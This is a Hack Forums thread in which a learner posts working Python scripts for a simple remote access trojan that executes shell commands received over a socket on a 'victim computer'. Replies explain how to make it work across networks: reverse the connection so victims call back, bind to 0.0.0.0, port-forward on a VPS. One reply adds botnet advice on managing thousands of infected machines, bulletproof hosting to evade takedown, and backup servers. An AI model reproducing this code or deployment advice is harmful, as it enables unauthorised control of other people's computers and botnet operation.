

Forum:[Hack Forums](#)

Thread: [Server and client on two different networks with python ?](#)

HK 2432 - September 10, 2019, 2:18 pm

Hello,

I try to learn python for hacking So I decide to set up a simply " RAT " in python. For the moment, I just want to execute some command on the victim computer.

I use Python3 with Archlinux.

So at now, I have these two python scripts :

The server :

Code `#!/bin/env python`

`# -*- coding: UTF-8 -*-`

```
import socket
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = input("Ip : ")
port = int(input("Port : "))
connexion.connect((host, port))
print("The connection with {} is done.".format(host, port))
started = True
```

while started:

```
    choice = int(input(" [1] Command\n [2] Leave\n > "))
    if choice == 1:
        command = input(" Command : ")
        connexion.send(command.encode())
        retour = connexion.recv(1024).decode('latin1')
        print(retour)
```

```
    if choice == 2:
        connexion.send("exit")
        connexion.close()
        break
```

And the client :

Code `#!/bin/env python`

`# -*- coding: UTF-8 -*-`

```
import socket
import subprocess
```

```
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "
port = 631
connexion.bind((host,port))
connexion.listen(5)
connexion_client, infos_connexion = connexion.accept()
started = True
```

while started:

```
    rcv_cmd = connexion_client.recv(1024)
    rcv_cmd = rcv_cmd.decode()
    if rcv_cmd != "exit":
        cmd = subprocess.Popen(rcv_cmd, shell=True, stdout = subprocess.PIPE, stderr
=subprocess.PIPE, stdin = subprocess.PIPE )
        out = cmd.stdout.read() + cmd.stderr.read()
        connexion_client.send(out)
    else:
        started = False
        connexion.close()
        exit
```

These two scripts work perfectly on my local network, but if I want to use it on two different networks, how can I do that? Do you have any link/tips/example on how to learn how to do that ?

What are the things that I need to enable the dialogue between my server and my client if there are in two different network ?

Thank you for you help ! :)

Charger - September 11, 2019, 10:27 am

You'll have to open the port on the server. The easiest way is to tunnel both through a proxy/VPN such as an SSH tunnel or a service like ngrok

4ground_daemon - September 16, 2019, 10:07 am

A few things i'm confused about in your code. The server should be the one binding and the client should be the one connecting to the server. As the server should always be up but the client will only be up when the victims PC is on.

Another thing I noticed is that on the server you get the user to specify the host and port at run time. That needs to change as you must have one strict port in order to allow the client to know what port its connecting to. Otherwise the server user will run on port 8000 and the client will be trying to connect on port 600 for example.

One final tip. When setting the host on the server. Make sure its set to "0.0.0.0" as this allows it to be seen outside the network(as long as your firewalls don't block the given port) because if you set to "localhost" it will only be available within your network.

If you need any other advice comment and ill help you out. oh and P.S switch to python 3 dammit.

iron_shocker - September 16, 2019, 1:48 pm

(Sep 16, 2019 10:07 AM)4ground_daemon Wrote: [\[CITE\]](#) One final tip. When setting the host on the server. Make sure its set to "0.0.0.0" as this allows it to be seen outside the network(as long as your firewalls don't block the given port) because if you set to "localhost" it will only be available within

your network.

If you need any other advice comment and ill help you out. oh and P.S switch to python 3 dammit.
Good tip.

One small nuance is that is generally binds to all interfaces when using '0.0.0.0'.
If the box have multiple nics it will listen on all.

Lynx - September 17, 2019, 6:40 am

You should have the port opened on the server-sided script. Do this with port-forwarding.

HK_2432 - September 22, 2019, 6:20 am

Hello all, I am afraid that my answer was somewhat long.

Thank you for your answers.

I just need some details about one or two things.

Firstly, the server should be on the victim's computer and the client on my computer, right ? Or it's the reverse ?

Secondly :

(Sep 11, 2019 10:27 AM)Charger Wrote: [\[CITE\]](#) You'll have to open the port on the server. The easiest way is to tunnel both through a proxy/VPN such as an SSH tunnel or a service like ngrok
I understand that, but I need to have an authorisation on the victim's computer, no ?

(Sep 16, 2019 10:07 AM)4ground_daemon Wrote: [\[CITE\]](#) One final tip. When setting the host on the server. Make sure its set to "0.0.0.0" as this allows it to be seen outside the network(as long as your firewalls don't block the given port) because if you set to "localhost" it will only be available within your network.

Could you be clearer about " Set to 0.0.0.0 " please ?

(Sep 17, 2019 06:40 AM)Lynx Wrote: [\[CITE\]](#) You should have the port opened on the server-sided script. Do this with port-forwarding.

Hum.. I understand that. But if the server is on the victim's computer, I need an access to his router in order to open up a port, no ?

Thank you again ! I still learn python !

4ground_daemon - September 22, 2019, 6:35 am

So just to make things more clear:

The server should be on your side not the victims computer and the port forwarding would be done on your side. Having the client on your side and the server on the victim would make no sense and here's why.

Suppose you have infected 10,000 victims. Now your victim computers will constantly be online and offline(when they turn the PC off) so when the victim is back online you want the victim to connect back so you can send it commands. If the server is on there side it means you would have to

constantly ping 10,000 IP's to check if they are online. Instead the server needs to be on your side and you make the victim ping the server when its online. The server is the one serving the commands.... so there's no reason to ever have it on the victim.

Secondly you need to port forward on the server IP which you have control of and the victim will not need to as there firewall will not block outbound traffic only inbound (unless they have changed them) as everyone's PC needs outbound ports when just generally using the internet. The thing i'm telling you to set to 0.0.0.0 is the host port on the server so that your telling it to allow connections from outside your LAN.

Also the guy that said the easiest way to port forward on a server to to tunnel through a VPN is dumb. Just change your firewall settings for the VPS.

If your going to use this for real to build a botnet (which I wouldnt as your knowledge seems way too low) just note there's a lot lot more to think about. like load balancing when you get a lot of bots and having to use bulletproof server so the provider don't shut you down. Your client also needs backups so that if the server is shut down you don't loose all your bots.

I think you need to do some more research before you go ahead with this.